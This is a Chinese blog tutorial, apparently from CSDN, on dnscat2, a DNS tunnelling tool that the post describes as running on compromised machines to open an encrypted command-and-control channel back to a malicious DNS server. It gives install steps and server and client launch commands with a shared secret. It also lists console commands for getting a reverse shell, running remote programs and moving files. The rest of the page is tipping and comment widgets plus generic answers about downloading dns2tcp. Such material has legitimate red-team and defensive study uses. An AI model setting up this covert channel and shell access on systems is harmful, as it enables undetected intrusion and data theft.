『DNS隧道工具』— dnscat2

一、入坑必读

1、简介

dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell……

使用热度: ★★★★☆

2、专业词

  • Type:DNS解析的类型,常见的有:A、CNAME、MX、TXT……
  • 直连模式:客户端直接向指定IP的恶意DNS服务器发起DNS解析请求
  • 中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。

3、放哪儿

攻击机被控机
服务端客户端

4、支持Type

  • A
  • TXT
  • CNAME
  • MX
  • AAAA

注意: 默认是TXT、CNAME、MX随机混合使用

5、兼容说明

  • 服务端为Ruby编写,需安装Ruby环境。kali系统内置Ruby,但是运行时仍可能报缺少一些gem依赖:

    • ecdsa
    • salsa20
    • sha3
    • trollop

    依次安装即可,范例:gem install ecdsa-1.2.0.gem

    这些gem依赖、服务端、客户端等所有工具,下面的下载地址已打包提供!

    当然你也可以去https://rubygems.org/gems网站上搜索并下载所有的gem依赖。

  • 客户端为C编写,使用前需先编译,Windows编译可使用VS、Linux则直接make install

  • 这里也提供编译好的Win客户端

    • exe:https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip(链接来自skullsecurity.org,两年前我下载是不需要解压密码的,现在我也不知道密码了,非常抱歉~!实在需要,可以使用下面的CSDN全套下载地址)
    • ps:https://github.com/lukebaggett/dnscat2-powershell

6、全套下载地址

  • CSDN:https://download.csdn.net/download/localhost01/10931769

二、原理简述

Dnscat2分为两部分:客户端和服务器。

客户端:

在受感染的计算机上运行。C语言编写的,具有最小可能的依赖性。

运行模式如大多DNS隧道工具一样:Dnscat2客户端->DNS服务商->Dnscat2服务端

如果您没有购买域名,还可以在UDP/53上使用直连。它们会更快,但它在数据包中更明显(所有域名都以dnscat为前缀,除非你破解了源代码)。防火墙经常会阻止此模式。

服务端:

Ruby语言编写,在服务器上运行。它除了监听在UDP/53上发送给它的消息之外,还要指定它应该监听哪个域名。

当它接收其中一个域名的流量时,它会尝试建立DNS连接。如果它接收到其他流量,它默认忽略它,当然你也可以在上游转发它。

三、安装使用

1、安装

服务端:

# 如果是上面地址直接下载的,则跳过
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2
cd server
sudo gem install bundler
bundle install<script src="https://localhost01.cn/js/jquery-2.0.0.min.js"></script>

客户端:

# 如果是上面地址直接下载的,则跳过
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

2、使用

在服务端机器上,执行:

#启动
sudo ruby./dnscat2.rb abc.com --secret=123456   #方式1【常用】
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=123456   #方式2
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache   #方式3

方式1:

  • abc.com 自定义DNS传输的域名
  • –secret 自定义连接密码

方式2(直连):

  • server&port 表示监听本机的533端口
  • –secret 自定义连接密码

方式3:

  • –secret 定义了通讯密码。

    两端使用时,均需跟上该密码,可防止中间人攻击。如果不加,dnscat2会生成一个随机字符串,记得拷贝下来在启动客户端时使用。

    同时服务端在运行时,也可通过set secret=<new value>来动态改变

  • –security 规定了安全级别。

    默认情况下,客户端和服务器都支持并会尝试加密。Open表示服务端允许客户端不加密,这样,客户端就可以通过传递–no-encryption参数来禁用加密。当然也可以在编译时,就禁用客户端加密:make nocrypto

    同时服务端在运行时,也可通过set security=open来动态改变。

  • –no-cache 禁止缓存

    使用powershell-dnscat2客户端时,务必在运行服务器时添加无缓存选项,因为与dnscat2服务器的caching模式不兼容。

在客户端机器上,执行:

dnscat --secret=123456 abc.com    #对应 方式1
dnscat --dns server=<your dnscat2 server ip>,port=553,type=TXT   #对应 方式2,注意使用--dns选项时,port不可省,否则可能连不上

其中:

  • <your dnscat2 server ip> 服务端的公网IP,表示不走DNS服务商这一步,直接向dnscat2服务端所在的服务器IP请求DNS解析
  • -t 使用的DNS类型

客户端连上后,会提示:Session established!

而服务端的控制台输入:windows,即可以看到一个客户端上线:

1 :: command (DESKTOP-7NSDT5)……

其中:

  • 1表示该客户端ID,如果使用window -i 1,即可进入该通道;

键入shell,即可得到一个半交互shell!(相比dns2tcp,使用起来不是很流畅)~

help可查看控制台支持的命令,常用的有:

  • quit (退出控制台)
  • kill <id> (中断通道)
  • set(设值,比如设置security=open)
  • windows(列举出所有的通道)
  • window -i <id>(连接某个通道)

    连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):

    • clear(清屏)
    • delay(修改远程会话超时时间)
    • exec(执行远程机上的程序)
    • shell(得到一个反弹shell)
    • download/upload(两端之间上传下载文件)
    • supend(返回到上一层,等于快捷键ctrl+z
  • 43
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 10
    评论
### 回答1: 要在Windows上下载编译好的dns2tcp隧道工具,您可以按照以下步骤进行操作: 1. 打开您的网络浏览器(如Google Chrome、Mozilla Firefox等)。 2. 在搜索引擎或浏览器地址栏中键入"dns2tcp Windows",然后按Enter键进行搜索。 3. 搜索结果页面中可能会列出dns2tcp的官方网站或第三方软件下载网站。确保您选择的是可信赖的网站。 4. 进入选择的网站后,在网站搜索栏中输入"dns2tcp Windows",点击搜索或按Enter键进行搜索。 5. 搜索结果中应该包含针对Windows系统的dns2tcp安装文件或二进制文件的下载链接。点击相关的下载链接。 6. 在弹出的下载对话框中,选择合适的下载位置,并点击“保存”或“确定”按钮开始下载。 7. 下载完成后,转到您选择的下载位置,并找到下载的dns2tcp安装文件或二进制文件。 8. 双击该文件以运行安装程序或解压文件,并按照安装程序或解压缩工具的指示进行安装或解压缩。 9. 安装或解压完成后,您就可以使用dns2tcp隧道工具来配置和管理您的DNS转发隧道。 10. 您可以在dns2tcp的文档或帮助文件中查找关于如何使用和配置该工具的更多信息。 请注意,下载和使用第三方工具时要格外小心,确保您从可信任且官方的来源进行下载,以避免潜在的恶意软件或损害计算机的风险。 ### 回答2: 在Windows上下载编译好的dns2tcp隧道工具非常简单。 首先,你需要在互联网上找到可信的源代码仓库或官方网站。在这里,我以GitHub作为例子,因为它是一个非常流行的代码托管平台。 步骤如下: 1. 打开你的网络浏览器,并访问GitHub网站。 2. 在搜索栏中输入"dns2tcp"并点击搜索按钮。 3. 在搜索结果中找到与"dns2tcp"相关的适合Windows编译的仓库。 4. 进入该仓库页面,在页面的右上方可以找到绿色的按钮"Code",点击一下。 5. 在弹出的选项中,你可以选择下载该代码仓库的源代码,或者你也可以选择下载ZIP压缩文件。 6. 选择下载ZIP压缩文件,并保存到你的计算机上的合适位置。 7. 解压缩下载的ZIP文件,你将得到源代码的文件夹。 8. 进入解压后的文件夹中,找到编译好的可执行文件或者安装程序,通常会有一个明显的文件名或者文件夹名来指示。 9. 双击可执行文件或者运行安装程序,按照提示进行安装或使用。 请注意:在下载和使用任何源代码工具之前,确保你已经理解了该工具的功能和用途。此外,总是从可信的源获取代码,并确保你的计算机已经安装了合适的编译环境或所需的软件依赖。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

冉椿林博客

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值